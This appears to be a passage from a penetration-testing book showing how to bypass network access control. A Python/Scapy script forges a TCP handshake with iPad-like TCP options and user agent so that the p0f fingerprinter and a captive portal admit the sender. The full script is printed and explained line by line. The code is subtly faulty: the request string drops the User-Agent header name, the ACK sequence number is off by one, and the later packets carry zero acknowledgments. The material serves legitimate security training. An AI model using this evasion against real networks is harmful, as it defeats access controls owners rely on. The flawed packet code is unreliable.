Kali Linux 2018.1 has Scapy ready to go, but it's good to make sure you have all your dependencies in order. My copy of Kali didn't have the Python ECDSA cryptography installed, for example. We don't need it here, but I don't like to have alerts when I fire up Scapy. You can run this command before we get started:
# apt-get install graphviz imagemagick python-gnuplot python-pyx python-ecdsa
You can bring up the Scapy interpreter interface by simply commanding scapy, but for this discussion, we'll be importing its power into a Python script.
Scapy is a sophisticated packet manipulation and crafting program. Scapy is a Python program, but Python plays an even bigger role in Scapy as the syntax and interpreter for Scapy's domain-specific language. What this means for the pen tester is a packet manipulator and forger with unmatched versatility because it allows you to literally write your own network tools, on the fly, with very few lines of code – and it leaves the interpretation up to you, instead of within the confines of what a tool author imagined.
What we're doing here is a crash course in scripting with Python and Scapy, so don't be intimidated. We will be covering Scapy and Python in detail later on in the book. We'll step through everything happening here in our NAC bypass scenario so that, when we fire up Scapy in the future, it will quickly make sense. If you're like me, you learn faster when you're shoved into the pool. That being said, don't neglect curling up with Scapy documentation and some hot cocoa. The documentation on Scapy is excellent.
As you know, we set up our captive portal listener and OS fingerprinter at 192.168.108.215. Let's try to browse this address with an unmodified Firefox ESR in Kali and see what p0f picks up:
We can see in the very top line, representing the very first SYN packet received, that p0f has already identified us as a Linux client. Remember, p0f is looking at how the TCP packet is constructed, so we don't need to wait for any HTTP requests to divulge system information. Linux fingerprints are all over the TCP three-way handshake, before the browser has even established a connection to the site.
In our example, we want to emulate an iPad (specifically, one running iOS 9.3.2 to match our user-agent spoof from earlier). Putting on our hacker hat (the white one, please), we can put two and two together:
- p0f has a database of signatures (p0f.fp) that it references in order to fingerprint a source
- Scapy allows us to construct TCP packets and, with a little scripting, we can tie together several Scapy lines into a single TCP three-way handshake utility
We now have a recipe for our spoofing attack. Now, Scapy lets you construct communications in its interpreter, using the same syntax as Python, but what we're going to do is fire up nano and put together a Python script that will import Scapy. We'll discuss what's happening here after we confirm the attack works:
#!/usr/bin/python
from scapy.all import *
CPIPADDRESS="192.168.108.215"
SOURCEP=random.randint(1024,65535)
ip=IP(dst=CPIPADDRESS, flags="DF", ttl=64)
tcpopt=[("MSS",1460), ("NOP",None), ("WScale",2), ("NOP",None), ("NOP",None), ("Timestamp",(123,0)), ("SAckOK",""), ("EOL",None)]
SYN=TCP(sport=SOURCEP, dport=80, flags="S", seq=1000, window=0xffff, options=tcpopt)
SYNACK=sr1(ip/SYN)
ACK=TCP(sport=SOURCEP, dport=80, flags="A", seq=SYNACK.ack+1, ack=SYNACK.seq+1, window=0xffff)
send(ip/ACK)
request="GET / HTTP/1.1\r\nHost: " + CPIPADDRESS + "\rMozilla/5.0 (iPad; CPU OS 9_3_2 like Mac OS X) AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0 Mobile/13F69 Safari/601.1 \r\n\r\n"
PUSH=TCP(sport=SOURCEP, dport=80, flags="PA", seq=1001, ack=0, window=0xffff)
send(ip/PUSH/request)
RST=TCP(sport=SOURCEP, dport=80, flags="R", seq=1001, ack=0, window=0xffff)
send(ip/RST)
Once I'm done typing this up in nano, I save it as a .py file and chmod it to allow execution. That's it – the attack is ready:
The iptables outbound rule is set, and the script is ready to execute. Let it fly:
That's it; not very climactic on this end. But, let's take a look at the receiving end.
Voila! The OS fingerprinter is convinced that the packets were sent by an iOS device. When we scroll down, we can see the actual HTTP request with the user agent data. At this point, the NAC allows access and we can go back to doing our usual business. Don't forget to open up iptables:
# iptables -F
So what happened here, exactly? Let's break it down:
CPIPADDRESS="192.168.108.215"
SOURCEP=random.randint(1024,65535)
We're declaring a variable for the captive portal IP address and the source port. The source port is a random integer between 1024 and 65535 so that an ephemeral port is used:
ip=IP(dst=CPIPADDRESS, flags="DF", ttl=64)
tcpopt=[("MSS",1460), ("NOP",None), ("WScale",2), ("NOP",None), ("NOP",None), ("Timestamp",(123,0)), ("SAckOK",""), ("EOL",None)]
SYN=TCP(sport=SOURCEP, dport=80, flags="S", seq=1000, window=0xffff, options=tcpopt)
SYNACK=sr1(ip/SYN)
Now we're defining the layers of the packets we will send. ip is the IP layer of our packet with our captive portal as the destination, a don't-fragment flag set, and a TTL of 64. Now, when Scapy is ready to send this particular packet, we'll simply reference ip.
We define tcpopt with the TCP options we'll be using. This is the meat and potatoes of the OS signature, so this is based on our signature research.
Next we declare SYN, which is the TCP layer of our packet, defining our randomly chosen ephemeral port, the destination port 80, the SYN flag set, a sequence number, and a window size (also part of the signature). We set the TCP options with our just-defined tcpopt.
Then, we send the SYN request with sr1. However, sr1 means send a packet, and record 1 reply. The reply is then stored as SYNACK:
ACK=TCP(sport=SOURCEP, dport=80, flags="A", seq=SYNACK.ack+1, ack=SYNACK.seq+1, window=0xffff)
send(ip/ACK)
We sent a SYN packet with sr1, which told Scapy to record the reply – in other words, record the SYN-ACK that comes back from the server. That packet is now stored as SYNACK. So, now we're constructing the third part of the handshake, our ACK. We use the same port information and switch the flag accordingly, and we take the sequence number from the SYN-ACK and increment it by one. Since we're just acknowledging the SYN-ACK and thus completing the handshake, we only send this packet without needing a reply, so we use the send command instead of sr1:
request="GET / HTTP/1.1\r\nHost: " + CPIPADDRESS + "\rMozilla/5.0 (iPad; CPU OS 9_3_2 like Mac OS X) AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0 Mobile/13F69 Safari/601.1 \r\n\r\n"
PUSH=TCP(sport=SOURCEP, dport=80, flags="PA", seq=1001, ack=0, window=0xffff)
send(ip/PUSH/request)
Now that the TCP session is established, we craft our GET request for the HTTP server. We're constructing the payload and storing it as request. Note the use of Python syntax to concatenate the target IP address and create returns and new lines. We construct the TCP layer with the PSH + ACK flag and an incremented sequence number. Finally, another send command to send the packet using the same IP layer, the newly defined TCP layer called PUSH, and the HTTP payload as request:
RST=TCP(sport=SOURCEP, dport=80, flags="R", seq=1001, ack=0, window=0xffff)
send(ip/RST)
Finally, we tidy up, having completed our duty. We build a RST packet to tear down the TCP connection we just established, and send it with the send command.
I hope I have whetted your appetite for Scapy and Python, because we will be taking these incredibly powerful tools to the next level later in this book.